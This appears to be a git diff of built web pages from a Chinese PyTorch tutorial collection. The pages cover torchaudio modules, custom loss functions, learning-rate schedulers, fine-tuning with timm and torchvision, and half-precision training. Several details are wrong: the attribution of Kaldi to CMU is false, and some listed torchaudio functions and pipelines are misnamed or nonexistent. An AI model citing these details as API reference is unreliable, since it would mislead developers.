  • torchaudio.transforms:包含了常用的语音数据预处理方法,如:MFCC,MelScale,AmplitudeToDB等
  • +
  • torchaudio.datasets:包含了常用的语音数据集,如:VCTK,LibriSpeech,yesno等
  • +
  • torchaudio.models:包含了常用的语音模型,如:Wav2Letter,DeepSpeech等
  • +
  • torchaudio.models.decoder:包含了常用的语音解码器,如:GreedyDecoder,BeamSearchDecoder等
  • +
  • torchaudio.pipelines:包含了常用的语音处理流水线,如:SpeechRecognitionPipeline,SpeakerRecognitionPipeline等
  • +
  • torchaudio.sox_effects:包含了常用的语音处理方法,如:apply_effects_tensor,apply_effects_file等
  • +
  • torchaudio.compliance.kaldi:包含了与Kaldi工具兼容的方法,如:load_kaldi_fst,load_kaldi_ark等
  • +
  • torchaudio.kalid_io:包含了与Kaldi工具兼容的方法,如:read_vec_flt_scp,read_vec_int_scp等
  • +
  • torchaudio.utils:包含了常用的语音工具方法,如:get_audio_backend,set_audio_backend等
  • +
+

8.4.2 torchaduio的安装​

+

一般在安装torch的同时,也会安装torchaudio。假如我们的环境中没有torchaudio,我们可以使用pip或者conda去安装它。只需要执行以下命令即可:

+
pip install torchaudio # conda install torchaudio
+

在安装的时候,我们一定要根据自己的PyTorch版本和Python版本选择对应的torchaudio的版本,具体我们可以查看torchaudio Compatibility Matrix

+

8.4.3 datasets的构建​

+

torchaudio中对于一些公共数据集,我们可以主要通过torchaudio.datasets来实现。对于私有数据集,我们也可以通过继承torch.utils.data.Dataset来构建自己的数据集。数据集的读取和处理,我们可以通过torch.utils.data.DataLoader来实现。

+
import torchaudio
import torch

# 公共数据集的构建
yesno_data = torchaudio.datasets.YESNO('.', download=True)
data_loader = torch.utils.data.DataLoader(
yesno_data,
batch_size=1,
shuffle=True,
num_workers=4)
+

torchaudio提供了许多常用的语音数据集,包括CMUARCTIC,CMUDict,COMMONVOICE,DR_VCTK,FluentSpeechCommands,GTZAN,IEMOCAP,LIBRISPEECH,LIBRITTS,LJSPEECH,LibriLightLimited,LibriMix,MUSDB_HQ,QUESST14,SPEECHCOMMANDS,Snips,TEDLIUM,VCTK_092,VoxCeleb1Identification,VoxCeleb1Verification,YESNO等。具体的我们可以通过以下命令来查看:

+
import torchaudio
dir(torchaudio.datasets)
+
'CMUARCTIC','CMUDict','COMMONVOICE','DR_VCTK','FluentSpeechCommands',
'GTZAN','IEMOCAP','LIBRISPEECH','LIBRITTS','LJSPEECH','LibriLightLimited',
'LibriMix','MUSDB_HQ','QUESST14','SPEECHCOMMANDS','Snips','TEDLIUM',
'VCTK_092','VoxCeleb1Identification','VoxCeleb1Verification','YESNO']
+

8.4.4 model和pipeline的构建​

+

torchaudio.models包含了常见语音任务的模型的定义,包括:Wav2Letter,DeepSpeech,HuBERTPretrainModel等。torchaudio.pipelines则是将预训练模型和其对应的任务组合在一起,构成了一个完整的语音处理流水线。torchaudio.pipeline相较于torchvision这种视觉库而言,是torchaudio的精华部分。我们在此也不进行过多的阐述,对于进一步的学习,我们可以参考官方给出的Pipeline Tutorials和torchaudio.pipelines docs。

+

8.4.5 transforms和functional的使用​

+

torchaudio.transform模块包含常见的音频处理和特征提取。torchaudio.functional则包括了一些常见的音频操作的函数。关于torchaudio.transform,官方提供了一个流程图供我们参考学习: +torchaudio_feature_extaction +torchaudio.transforms继承于torch.nn.Module,但是不同于torchvision.transforms,torchaudio没有compose方法将多个transform组合起来。因此torchaudio构建transform pipeline的常见方法是自定义模块类或使用torch.nn.Sequential将他们在一起。然后将其移动到目标设备和数据类型。我们可以参考官方所给出的例子:

+
# Define custom feature extraction pipeline.
#
# 1. Resample audio
# 2. Convert to power spectrogram
# 3. Apply augmentations
# 4. Convert to mel-scale
#
class MyPipeline(torch.nn.Module):
def __init__(
self,
input_freq=16000,
resample_freq=8000,
n_fft=1024,
n_mel=256,
stretch_factor=0.8,
):
super().__init__()
self.resample = Resample(orig_freq=input_freq, new_freq=resample_freq)
self.spec = Spectrogram(n_fft=n_fft, power=2)
self.spec_aug = torch.nn.Sequential(
TimeStretch(stretch_factor, fixed_rate=True),
FrequencyMasking(freq_mask_param=80),
TimeMasking(time_mask_param=80),
)
self.mel_scale = MelScale(
n_mels=n_mel, sample_rate=resample_freq, n_stft=n_fft // 2 + 1)

def forward(self, waveform: torch.Tensor) -> torch.Tensor:
# Resample the input
resampled = self.resample(waveform)
# Convert to power spectrogram
spec = self.spec(resampled)
# Apply SpecAugment
spec = self.spec_aug(spec)
# Convert to mel-scale
mel = self.mel_scale(spec)
return mel
+

torchaudio.transform的使用,我们可以参考torchaudio.transforms进一步了解。

+

torchaudio.functional支持了许多语音的处理方法,关于torchaudio.functional的使用,我们可以参考torchaudio.functional进一步了解。

+

8.4.6 compliance和kaldi_io的使用​

+

Kaldi是一个用于语音识别研究的工具箱,由CMU开发,开源免费。它包含了构建语音识别系统所需的全部组件,是语音识别领域最流行和影响力最大的开源工具之一。torchaudio中提供了一些与Kaldi工具兼容的方法,这些方法分别属于torchaduio.compliance.kaldi,torchaduio.kaldi_io。

+

torchaduio.compliance.kaldi​

+

在torchaudio.compliance.kaldi中,torchaudio提供了以下三种方法:

+
    +
  • torchaudio.compliance.kaldi.spectrogram:从语音信号中提取Spectrogram特征
  • +
  • torchaudio.compliance.kaldi.fbank:从语音信号中提取FBank特征
  • +
  • torchaduio.compliance.kaldi.mfcc:从语音信号中提取MFCC特征
  • +
+

torchaduio.kaldi_io​

+

torchaudio.kaldi_io是一个torchaudio的子模块,用于读取和写入Kaldi的数据集格式。当我们要使用torchaudio.kaldi_io时,我们需要先确保kalid_io已经安装。

+

具体来说,主要接口包括:

+
    +
  • torchaudio.kaldi_io.read_vec_int_ark:从Kaldi的scp文件中读取float类型的数据
  • +
  • torchaudio.kaldi_io.read_vec_flt_scp
  • +
  • torchaudio.kaldi_io.read_vec_flt_ark
  • +
  • torchaudio.kaldi_io.read_mat_scp
  • +
  • torchaudio.kaldi_io.read_mat_ark
  • +
+

具体的使用方法,我们可以参考torchaudio.kaldi_io进一步了解。

+

总结​

+

本节我们主要介绍了torchaudio的基本使用方法和常用的模块,如果想要进一步学习,可以参考torchaudio官方文档。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第八章/index.html b/docs/个人知识库/AI/PyTorch/第八章/index.html new file mode 100644 index 0000000..9f62afc --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第八章/index.html @@ -0,0 +1,46 @@ + + + + + +第八章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第六章/6.1 自定义损失函数/index.html b/docs/个人知识库/AI/PyTorch/第六章/6.1 自定义损失函数/index.html new file mode 100644 index 0000000..04bd36b --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第六章/6.1 自定义损失函数/index.html @@ -0,0 +1,74 @@ + + + + + +6.1 自定义损失函数.md | wjlin0 + + + + + + + +

6.1 自定义损失函数.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:20
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.1 自定义损失函数

+

PyTorch在torch.nn模块为我们提供了许多常用的损失函数,比如:MSELoss,L1Loss,BCELoss...... 但是随着深度学习的发展,出现了越来越多的非官方提供的Loss,比如DiceLoss,HuberLoss,SobolevLoss...... 这些Loss Function专门针对一些非通用的模型,PyTorch不能将他们全部添加到库中去,因此这些损失函数的实现则需要我们通过自定义损失函数来实现。另外,在一些算法实现中,研究者往往会提出全新的损失函数来提升模型的表现,这时我们既无法使用PyTorch自带的损失函数,也没有相关的博客供参考,此时自己实现损失函数就显得更为重要了。

+

经过本节的学习,你将收获:

+
    +
  • 掌握如何自定义损失函数
  • +
+

6.1.1 以函数方式定义​

+

事实上,损失函数仅仅是一个函数而已,因此我们可以通过直接以函数定义的方式定义一个自己的函数,如下所示:

+
def my_loss(output, target):
loss = torch.mean((output - target)**2)
return loss
+

6.1.2 以类方式定义​

+

虽然以函数定义的方式很简单,但是以类方式定义更加常用,在以类方式定义损失函数时,我们如果看每一个损失函数的继承关系我们就可以发现Loss函数部分继承自_loss, 部分继承自_WeightedLoss, 而_WeightedLoss继承自_loss, _loss继承自 nn.Module。我们可以将其当作神经网络的一层来对待,同样地,我们的损失函数类就需要继承自nn.Module类,在下面的例子中我们以DiceLoss为例向大家讲述。

+

Dice Loss是一种在分割领域常见的损失函数,定义如下:

+

$$ +DSC = \frac{2|X∩Y|}{|X|+|Y|} +$$ +实现代码如下:

+
class DiceLoss(nn.Module):
def __init__(self,weight=None,size_average=True):
super(DiceLoss,self).__init__()

def forward(self,inputs,targets,smooth=1):
inputs = F.sigmoid(inputs)
inputs = inputs.view(-1)
targets = targets.view(-1)
intersection = (inputs * targets).sum()
dice = (2.*intersection + smooth)/(inputs.sum() + targets.sum() + smooth)
return 1 - dice

# 使用方法
criterion = DiceLoss()
loss = criterion(input,targets)
+

除此之外,常见的损失函数还有BCE-Dice Loss,Jaccard/Intersection over Union (IoU) Loss,Focal Loss......

+
class DiceBCELoss(nn.Module):
def __init__(self, weight=None, size_average=True):
super(DiceBCELoss, self).__init__()

def forward(self, inputs, targets, smooth=1):
inputs = F.sigmoid(inputs)
inputs = inputs.view(-1)
targets = targets.view(-1)
intersection = (inputs * targets).sum()
dice_loss = 1 - (2.*intersection + smooth)/(inputs.sum() + targets.sum() + smooth)
BCE = F.binary_cross_entropy(inputs, targets, reduction='mean')
Dice_BCE = BCE + dice_loss

return Dice_BCE
+
class IoULoss(nn.Module):
def __init__(self, weight=None, size_average=True):
super(IoULoss, self).__init__()

def forward(self, inputs, targets, smooth=1):
inputs = F.sigmoid(inputs)
inputs = inputs.view(-1)
targets = targets.view(-1)
intersection = (inputs * targets).sum()
total = (inputs + targets).sum()
union = total - intersection

IoU = (intersection + smooth)/(union + smooth)

return 1 - IoU
+
ALPHA = 0.8
GAMMA = 2

class FocalLoss(nn.Module):
def __init__(self, weight=None, size_average=True):
super(FocalLoss, self).__init__()

def forward(self, inputs, targets, alpha=ALPHA, gamma=GAMMA, smooth=1):
inputs = F.sigmoid(inputs)
inputs = inputs.view(-1)
targets = targets.view(-1)
BCE = F.binary_cross_entropy(inputs, targets, reduction='mean')
BCE_EXP = torch.exp(-BCE)
focal_loss = alpha * (1-BCE_EXP)**gamma * BCE

return focal_loss
# 更多的可以参考链接1
+

注:

+

在自定义损失函数时,涉及到数学运算时,我们最好全程使用PyTorch提供的张量计算接口,这样就不需要我们实现自动求导功能并且我们可以直接调用cuda,使用numpy或者scipy的数学运算时,操作会有些麻烦,大家可以自己下去进行探索。关于PyTorch使用Class定义损失函数的原因,可以参考PyTorch的讨论区(链接6)

+

本节参考​

+

【1】https://www.kaggle.com/bigironsphere/loss-function-library-keras-pytorch/notebook
+【2】https://www.zhihu.com/question/66988664/answer/247952270
+【3】https://blog.csdn.net/dss_dssssd/article/details/84103834
+【4】https://zj-image-processing.readthedocs.io/zh_CN/latest/pytorch/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%8D%9F%E5%A4%B1%E5%87%BD%E6%95%B0/
+【5】https://blog.csdn.net/qq_27825451/article/details/95165265
+【6】https://discuss.pytorch.org/t/should-i-define-my-custom-loss-function-as-a-class/89468

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第六章/6.2 动态调整学习率/index.html b/docs/个人知识库/AI/PyTorch/第六章/6.2 动态调整学习率/index.html new file mode 100644 index 0000000..09c7156 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第六章/6.2 动态调整学习率/index.html @@ -0,0 +1,91 @@ + + + + + +6.2 动态调整学习率.md | wjlin0 + + + + + + + +

6.2 动态调整学习率.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:20
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.2 动态调整学习率

+

学习率的选择是深度学习中一个困扰人们许久的问题,学习速率设置过小,会极大降低收敛速度,增加训练时间;学习率太大,可能导致参数在最优解两侧来回振荡。但是当我们选定了一个合适的学习率后,经过许多轮的训练后,可能会出现准确率震荡或loss不再下降等情况,说明当前学习率已不能满足模型调优的需求。此时我们就可以通过一个适当的学习率衰减策略来改善这种现象,提高我们的精度。这种设置方式在PyTorch中被称为scheduler,也是我们本节所研究的对象。

+

经过本节的学习,你将收获:

+
    +
  • 如何根据需要选取已有的学习率调整策略
  • +
  • 如何自定义设置学习调整策略并实现
  • +
+

6.2.1 使用官方scheduler​

+
    +
  • 了解官方提供的API
  • +
+

在训练神经网络的过程中,学习率是最重要的超参数之一,作为当前较为流行的深度学习框架,PyTorch已经在torch.optim.lr_scheduler为我们封装好了一些动态调整学习率的方法供我们使用,如下面列出的这些scheduler。

+ +

这些scheduler都是继承自_LRScheduler类,我们可以通过help(torch.optim.lr_scheduler)来查看这些类的具体使用方法,也可以通过help(torch.optim.lr_scheduler._LRScheduler)来查看_LRScheduler类的具体使用方法。

+
    +
  • 使用官方API
  • +
+

关于如何使用这些动态调整学习率的策略,PyTorch官方也很人性化的给出了使用实例代码帮助大家理解,我们也将结合官方给出的代码来进行解释。

+
# 选择一种优化器
optimizer = torch.optim.Adam(...)
# 选择上面提到的一种或多种动态调整学习率的方法
scheduler1 = torch.optim.lr_scheduler....
scheduler2 = torch.optim.lr_scheduler....
...
schedulern = torch.optim.lr_scheduler....
# 进行训练
for epoch in range(100):
train(...)
validate(...)
optimizer.step()
# 需要在优化器参数更新之后再动态调整学习率
# scheduler的优化是在每一轮后面进行的
scheduler1.step()
...
schedulern.step()
+

注:

+

我们在使用官方给出的torch.optim.lr_scheduler时,需要将scheduler.step()放在optimizer.step()后面进行使用。

+

6.2.2 自定义scheduler​

+

虽然PyTorch官方给我们提供了许多的API,但是在实验中也有可能碰到需要我们自己定义学习率调整策略的情况,而我们的方法是自定义函数adjust_learning_rate来改变param_group中lr的值,在下面的叙述中会给出一个简单的实现。

+

假设我们现在正在做实验,需要学习率每30轮下降为原来的1/10,假设已有的官方API中没有符合我们需求的,那就需要自定义函数来实现学习率的改变。

+
def adjust_learning_rate(optimizer, epoch):
lr = args.lr * (0.1 ** (epoch // 30))
for param_group in optimizer.param_groups:
param_group['lr'] = lr
+

有了adjust_learning_rate函数的定义,在训练的过程就可以调用我们的函数来实现学习率的动态变化

+
def adjust_learning_rate(optimizer,...):
...
optimizer = torch.optim.SGD(model.parameters(),lr = args.lr,momentum = 0.9)
for epoch in range(10):
train(...)
validate(...)
adjust_learning_rate(optimizer,epoch)
+

本节参考​

+
    +
  1. PyTorch官方文档
  2. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-timm/index.html b/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-timm/index.html new file mode 100644 index 0000000..baf8c9b --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-timm/index.html @@ -0,0 +1,110 @@ + + + + + +6.3 模型微调-timm.md | wjlin0 + + + + + + + +

6.3 模型微调-timm.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:20
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.3 模型微调 - timm

+

除了使用torchvision.models进行预训练以外,还有一个常见的预训练模型库,叫做timm,这个库是由Ross Wightman创建的。里面提供了许多计算机视觉的SOTA模型,可以当作是torchvision的扩充版本,并且里面的模型在准确度上也较高。在本章内容中,我们主要是针对这个库的预训练模型的使用做叙述,其他部分内容(数据扩增,优化器等)如果大家感兴趣,可以参考以下两个链接。

+ +

6.3.1 timm的安装​

+

关于timm的安装,我们可以选择以下两种方式进行:

+
    +
  1. 通过pip安装
  2. +
+
pip install timm
+
    +
  1. 通过源码编译安装
  2. +
+
git clone https://github.com/rwightman/pytorch-image-models
cd pytorch-image-models && pip install -e .
+

6.3.2 如何查看预训练模型种类​

+
    +
  1. 查看timm提供的预训练模型 +截止到2022.3.27日为止,timm提供的预训练模型已经达到了592个,我们可以通过timm.list_models()方法查看timm提供的预训练模型(注:本章测试代码均是在jupyter notebook上进行)
  2. +
+
import timm
avail_pretrained_models = timm.list_models(pretrained=True)
len(avail_pretrained_models)
+
592
+
    +
  1. 查看特定模型的所有种类 +每一种系列可能对应着不同方案的模型,比如Resnet系列就包括了ResNet18,50,101等模型,我们可以在timm.list_models()传入想查询的模型名称(模糊查询),比如我们想查询densenet系列的所有模型。
  2. +
+
all_densnet_models = timm.list_models("*densenet*")
all_densnet_models
+

我们发现以列表的形式返回了所有densenet系列的所有模型。

+
['densenet121',
'densenet121d',
'densenet161',
'densenet169',
'densenet201',
'densenet264',
'densenet264d_iabn',
'densenetblur121d',
'tv_densenet121']
+
    +
  1. 查看模型的具体参数 +当我们想查看下模型的具体参数的时候,我们可以通过访问模型的default_cfg属性来进行查看,具体操作如下
  2. +
+
model = timm.create_model('resnet34',num_classes=10,pretrained=True)
model.default_cfg
+
{'url': 'https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-weights/resnet34-43635321.pth',
'num_classes': 1000,
'input_size': (3, 224, 224),
'pool_size': (7, 7),
'crop_pct': 0.875,
'interpolation': 'bilinear',
'mean': (0.485, 0.456, 0.406),
'std': (0.229, 0.224, 0.225),
'first_conv': 'conv1',
'classifier': 'fc',
'architecture': 'resnet34'}
+

除此之外,我们可以通过访问这个链接 查看提供的预训练模型的准确度等信息。

+

6.3.3 使用和修改预训练模型​

+

在得到我们想要使用的预训练模型后,我们可以通过timm.create_model()的方法来进行模型的创建,我们可以通过传入参数pretrained=True,来使用预训练模型。同样的,我们也可以使用跟torchvision里面的模型一样的方法查看模型的参数,类型/

+
import timm
import torch

model = timm.create_model('resnet34',pretrained=True)
x = torch.randn(1,3,224,224)
output = model(x)
output.shape
+
torch.Size([1, 1000])
+
    +
  • 查看某一层模型参数(以第一层卷积为例)
  • +
+
model = timm.create_model('resnet34',pretrained=True)
list(dict(model.named_children())['conv1'].parameters())
+
[Parameter containing:
tensor([[[[-2.9398e-02, -3.6421e-02, -2.8832e-02, ..., -1.8349e-02,
-6.9210e-03, 1.2127e-02],
[-3.6199e-02, -6.0810e-02, -5.3891e-02, ..., -4.2744e-02,
-7.3169e-03, -1.1834e-02],
...
[ 8.4563e-03, -1.7099e-02, -1.2176e-03, ..., 7.0081e-02,
2.9756e-02, -4.1400e-03]]]], requires_grad=True)]

+
    +
  • 修改模型(将1000类改为10类输出)
  • +
+
model = timm.create_model('resnet34',num_classes=10,pretrained=True)
x = torch.randn(1,3,224,224)
output = model(x)
output.shape
+
torch.Size([1, 10])
+
    +
  • 改变输入通道数(比如我们传入的图片是单通道的,但是模型需要的是三通道图片) +我们可以通过添加in_chans=1来改变
  • +
+
model = timm.create_model('resnet34',num_classes=10,pretrained=True,in_chans=1)
x = torch.randn(1,1,224,224)
output = model(x)
+

6.3.4 模型的保存​

+

timm库所创建的模型是torch.model的子类,我们可以直接使用torch库中内置的模型参数保存和加载的方法,具体操作如下方代码所示

+
torch.save(model.state_dict(),'./checkpoint/timm_model.pth')
model.load_state_dict(torch.load('./checkpoint/timm_model.pth'))
+

参考材料​

+
    +
  1. https://www.aiuai.cn/aifarm1967.html
  2. +
  3. https://towardsdatascience.com/getting-started-with-pytorch-image-models-timm-a-practitioners-guide-4e77b4bf9055
  4. +
  5. https://chowdera.com/2022/03/202203170834122729.html
  6. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-torchvision/index.html b/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-torchvision/index.html new file mode 100644 index 0000000..ea50a31 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第六章/6.3 模型微调-torchvision/index.html @@ -0,0 +1,104 @@ + + + + + +6.3 模型微调-torchvision.md | wjlin0 + + + + + + + +

6.3 模型微调-torchvision.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:21
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.3 模型微调-torchvision

+

随着深度学习的发展,模型的参数越来越大,许多开源模型都是在较大数据集上进行训练的,比如Imagenet-1k,Imagenet-11k,甚至是ImageNet-21k等。但在实际应用中,我们的数据集可能只有几千张,这时从头开始训练具有几千万参数的大型神经网络是不现实的,因为越大的模型对数据量的要求越大,过拟合无法避免。

+

假设我们想从图像中识别出不同种类的椅⼦,然后将购买链接推荐给用户。一种可能的方法是先找出100种常见的椅子,为每种椅子拍摄1000张不同⻆度的图像,然后在收集到的图像数据集上训练一个分类模型。这个椅子数据集虽然可能比Fashion-MNIST数据集要庞⼤,但样本数仍然不及ImageNet数据集中样本数的十分之⼀。这可能会导致适用于ImageNet数据集的复杂模型在这个椅⼦数据集上过拟合。同时,因为数据量有限,最终训练得到的模型的精度也可能达不到实用的要求。

+

为了应对上述问题,一个显⽽易⻅的解决办法是收集更多的数据。然而,收集和标注数据会花费大量的时间和资⾦。例如,为了收集ImageNet数据集,研究人员花费了数百万美元的研究经费。虽然目前的数据采集成本已降低了不少,但其成本仍然不可忽略。

+

另外一种解决办法是应用迁移学习(transfer learning),将从源数据集学到的知识迁移到目标数据集上。例如,虽然ImageNet数据集的图像大多跟椅子无关,但在该数据集上训练的模型可以抽取较通用的图像特征,从而能够帮助识别边缘、纹理、形状和物体组成等。这些类似的特征对于识别椅子也可能同样有效。

+

迁移学习的一大应用场景是模型微调(finetune)。简单来说,就是我们先找到一个同类的别人训练好的模型,把别人现成的训练好了的模型拿过来,换成自己的数据,通过训练调整一下参数。 在PyTorch中提供了许多预训练好的网络模型(VGG,ResNet系列,mobilenet系列......),这些模型都是PyTorch官方在相应的大型数据集训练好的。学习如何进行模型微调,可以方便我们快速使用预训练模型完成自己的任务。

+

经过本节的学习,你将收获:

+
    +
  • 掌握模型微调的流程
  • +
  • 了解PyTorch提供的常用model
  • +
  • 掌握如何指定训练模型的部分层
  • +
+

6.3.1 模型微调的流程​

+
    +
  1. 在源数据集(如ImageNet数据集)上预训练一个神经网络模型,即源模型。
  2. +
  3. 创建一个新的神经网络模型,即目标模型。它复制了源模型上除了输出层外的所有模型设计及其参数。我们假设这些模型参数包含了源数据集上学习到的知识,且这些知识同样适用于目标数据集。我们还假设源模型的输出层跟源数据集的标签紧密相关,因此在目标模型中不予采用。
  4. +
  5. 为目标模型添加一个输出⼤小为⽬标数据集类别个数的输出层,并随机初始化该层的模型参数。
  6. +
  7. 在目标数据集上训练目标模型。我们将从头训练输出层,而其余层的参数都是基于源模型的参数微调得到的。
  8. +
+

finetune

+

6.3.2 使用已有模型结构​

+

这里我们以torchvision中的常见模型为例,列出了如何在图像分类任务中使用PyTorch提供的常见模型结构和参数。对于其他任务和网络结构,使用方式是类似的:

+
    +
  • +

    实例化网络

    +
    import torchvision.models as models
    resnet18 = models.resnet18()
    # resnet18 = models.resnet18(pretrained=False) 等价于与上面的表达式
    alexnet = models.alexnet()
    vgg16 = models.vgg16()
    squeezenet = models.squeezenet1_0()
    densenet = models.densenet161()
    inception = models.inception_v3()
    googlenet = models.googlenet()
    shufflenet = models.shufflenet_v2_x1_0()
    mobilenet_v2 = models.mobilenet_v2()
    mobilenet_v3_large = models.mobilenet_v3_large()
    mobilenet_v3_small = models.mobilenet_v3_small()
    resnext50_32x4d = models.resnext50_32x4d()
    wide_resnet50_2 = models.wide_resnet50_2()
    mnasnet = models.mnasnet1_0()
    +
  • +
  • +

    传递pretrained参数

    +
  • +
+

通过True或者False来决定是否使用预训练好的权重,在默认状态下pretrained = False,意味着我们不使用预训练得到的权重,当pretrained = True,意味着我们将使用在一些数据集上预训练得到的权重。

+
import torchvision.models as models
resnet18 = models.resnet18(pretrained=True)
alexnet = models.alexnet(pretrained=True)
squeezenet = models.squeezenet1_0(pretrained=True)
vgg16 = models.vgg16(pretrained=True)
densenet = models.densenet161(pretrained=True)
inception = models.inception_v3(pretrained=True)
googlenet = models.googlenet(pretrained=True)
shufflenet = models.shufflenet_v2_x1_0(pretrained=True)
mobilenet_v2 = models.mobilenet_v2(pretrained=True)
mobilenet_v3_large = models.mobilenet_v3_large(pretrained=True)
mobilenet_v3_small = models.mobilenet_v3_small(pretrained=True)
resnext50_32x4d = models.resnext50_32x4d(pretrained=True)
wide_resnet50_2 = models.wide_resnet50_2(pretrained=True)
mnasnet = models.mnasnet1_0(pretrained=True)
+

注意事项:

+
    +
  1. +

    通常PyTorch模型的扩展为.pt或.pth,程序运行时会首先检查默认路径中是否有已经下载的模型权重,一旦权重被下载,下次加载就不需要下载了。

    +
  2. +
  3. +

    一般情况下预训练模型的下载会比较慢,我们可以直接通过迅雷或者其他方式去 这里 查看自己的模型里面model_urls,然后手动下载,预训练模型的权重在Linux和Mac的默认下载路径是用户根目录下的.cache文件夹。在Windows下就是C:\Users\<username>\.cache\torch\hub\checkpoint。我们可以通过使用 torch.utils.model_zoo.load_url()设置权重的下载地址。

    +
  4. +
  5. +

    如果觉得麻烦,还可以将自己的权重下载下来放到同文件夹下,然后再将参数加载网络。

    +
    self.model = models.resnet50(pretrained=False)
    self.model.load_state_dict(torch.load('./model/resnet50-19c8e357.pth'))
    +
  6. +
  7. +

    如果中途强行停止下载的话,一定要去对应路径下将权重文件删除干净,要不然可能会报错。

    +
  8. +
+

6.3.3 训练特定层​

+

在默认情况下,参数的属性.requires_grad = True,如果我们从头开始训练或微调不需要注意这里。但如果我们正在提取特征并且只想为新初始化的层计算梯度,其他参数不进行改变。那我们就需要通过设置requires_grad = False来冻结部分层。在PyTorch官方中提供了这样一个例程。

+
def set_parameter_requires_grad(model, feature_extracting):
if feature_extracting:
for param in model.parameters():
param.requires_grad = False
+

在下面我们仍旧使用resnet18为例的将1000类改为4类,但是仅改变最后一层的模型参数,不改变特征提取的模型参数;注意我们先冻结模型参数的梯度,再对模型输出部分的全连接层进行修改,这样修改后的全连接层的参数就是可计算梯度的。

+
import torchvision.models as models
# 冻结参数的梯度
feature_extract = True
model = models.resnet18(pretrained=True)
set_parameter_requires_grad(model, feature_extract)
# 修改模型
num_ftrs = model.fc.in_features
model.fc = nn.Linear(in_features=num_ftrs, out_features=4, bias=True)
+

之后在训练过程中,model仍会进行梯度回传,但是参数更新则只会发生在fc层。通过设定参数的requires_grad属性,我们完成了指定训练模型的特定层的目标,这对实现模型微调非常重要。

+

本节参考​

+
    +
  1. 参数更新
  2. +
  3. 给不同层分配不同的学习率
  4. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第六章/6.4 半精度训练/index.html b/docs/个人知识库/AI/PyTorch/第六章/6.4 半精度训练/index.html new file mode 100644 index 0000000..259e72a --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第六章/6.4 半精度训练/index.html @@ -0,0 +1,72 @@ + + + + + +6.4 半精度训练.md | wjlin0 + + + + + + + +

6.4 半精度训练.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:20
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.4 半精度训练

+

我们提到PyTorch时候,总会想到要用硬件设备GPU的支持。而GPU的性能主要分为两部分:算力和显存,前者决定了显卡计算的速度,后者则决定了显卡可以同时放入多少数据用于计算。在可以使用的显存数量一定的情况下,每次训练能够加载的数据更多(也就是batch size更大),则也可以提高训练效率。另外,有时候数据本身也比较大(比如3D图像、视频等),显存较小的情况下可能甚至batch size为1的情况都无法实现。因此,合理使用显存也就显得十分重要。

+

我们观察PyTorch默认的浮点数存储方式用的是torch.float32,小数点后位数更多固然能保证数据的精确性,但绝大多数场景其实并不需要这么精确,只保留一半的信息也不会影响结果,也就是使用torch.float16格式。由于数位减了一半,因此被称为“半精度”,具体如下图:

+

amp

+

显然半精度能够减少显存占用,使得显卡可以同时加载更多数据进行计算。本节会介绍如何在PyTorch中设置使用半精度计算。

+

经过本节的学习,你将收获:

+
    +
  • 如何在PyTorch中设置半精度训练
  • +
  • 使用半精度训练的注意事项
  • +
+

6.4.1 半精度训练的设置​

+

在PyTorch中使用autocast配置半精度训练,同时需要在下面三处加以设置:

+
    +
  • import autocast
  • +
+
from torch.cuda.amp import autocast
+
    +
  • 模型设置
  • +
+

在模型定义中,使用python的装饰器方法,用autocast装饰模型中的forward函数。关于装饰器的使用,可以参考这里:

+
@autocast()   
def forward(self, x):
...
return x
+
    +
  • 训练过程
  • +
+

在训练过程中,只需在将数据输入模型及其之后的部分放入“with autocast():“即可:

+
 for x in train_loader:
x = x.cuda()
with autocast():
output = model(x)
...
+

注意:

+

半精度训练主要适用于数据本身的size比较大(比如说3D图像、视频等)。当数据本身的size并不大时(比如手写数字MNIST数据集的图片尺寸只有28*28),使用半精度训练则可能不会带来显著的提升。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第六章/6.5 数据增强-imgaug/index.html b/docs/个人知识库/AI/PyTorch/第六章/6.5 数据增强-imgaug/index.html new file mode 100644 index 0000000..a6c17b9 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第六章/6.5 数据增强-imgaug/index.html @@ -0,0 +1,110 @@ + + + + + +6.5 数据增强-imgaug.md | wjlin0 + + + + + + + +

6.5 数据增强-imgaug.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:21
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.5 数据增强-imgaug

+

